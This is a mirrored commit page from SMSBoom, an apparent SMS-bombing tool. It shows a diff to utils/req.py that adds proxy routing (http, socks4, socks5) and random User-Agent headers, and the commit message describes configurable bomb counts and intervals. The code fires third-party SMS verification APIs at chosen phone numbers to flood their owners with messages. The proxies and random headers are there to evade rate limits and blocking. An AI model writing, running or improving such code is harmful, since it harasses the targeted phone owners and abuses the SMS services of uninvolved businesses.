mirror of
https://github.com/WhaleFell/SMSBoom.git
synced 2026-02-14 07:55:52 +08:00
🐞 Fix: 完善功能, 修复之前乱写的Bug.
- 通过代理调用短信接口, 支持http, socks4, socks5代理. - 使用随机的User-Agent. - 可指定轰炸次数, 轰炸间隔时间.
This commit is contained in:
36
utils/req.py
36
utils/req.py
@@ -23,7 +23,32 @@ def reqAPI(api: API, client: Union[httpx.Client, httpx.AsyncClient]) -> httpx.Re
|
||||
|
||||
|
||||
|
||||
def reqFunc(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool:
|
||||
def reqFuncByProxy(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool:
|
||||
|
||||
"""通过代理请求接口方法"""
|
||||
# 多手机号支持
|
||||
if isinstance(phone, tuple):
|
||||
phone_lst = [_ for _ in phone]
|
||||
else:
|
||||
phone_lst = [phone]
|
||||
with httpx.Client(headers=default_header_user_agent(), verify=False, proxies=proxy) as client:
|
||||
for ph in phone_lst:
|
||||
try:
|
||||
if isinstance(api, API):
|
||||
api = api.handle_API(ph)
|
||||
resp = reqAPI(api, client)
|
||||
logger.info(f"{api.desc}-{resp.text[:30]}")
|
||||
else:
|
||||
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
|
||||
resp = client.get(url=api, headers=default_header_user_agent())
|
||||
logger.info(f"GETAPI接口-{resp.text[:30]}")
|
||||
return True
|
||||
except httpx.HTTPError as why:
|
||||
logger.error(f"请求失败{why}")
|
||||
return False
|
||||
|
||||
|
||||
def reqFunc(api: Union[API, str], phone: Union[tuple, str]) -> bool:
|
||||
|
||||
"""请求接口方法"""
|
||||
# 多手机号支持
|
||||
@@ -31,25 +56,20 @@ def reqFunc(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool
|
||||
phone_lst = [_ for _ in phone]
|
||||
else:
|
||||
phone_lst = [phone]
|
||||
|
||||
|
||||
with httpx.Client(headers=default_header_user_agent(), verify=False, proxies=proxy) as client:
|
||||
|
||||
with httpx.Client(headers=default_header_user_agent(), verify=False) as client:
|
||||
for ph in phone_lst:
|
||||
try:
|
||||
if isinstance(api, API):
|
||||
api = api.handle_API(ph)
|
||||
resp = reqAPI(api, client)
|
||||
|
||||
logger.info(f"{api.desc}-{resp.text[:30]}")
|
||||
else:
|
||||
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
|
||||
resp = client.get(url=api, headers=default_header)
|
||||
resp = client.get(url=api, headers=default_header_user_agent())
|
||||
logger.info(f"GETAPI接口-{resp.text[:30]}")
|
||||
return True
|
||||
except httpx.HTTPError as why:
|
||||
logger.error(f"请求失败{why}")
|
||||
|
||||
return False
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user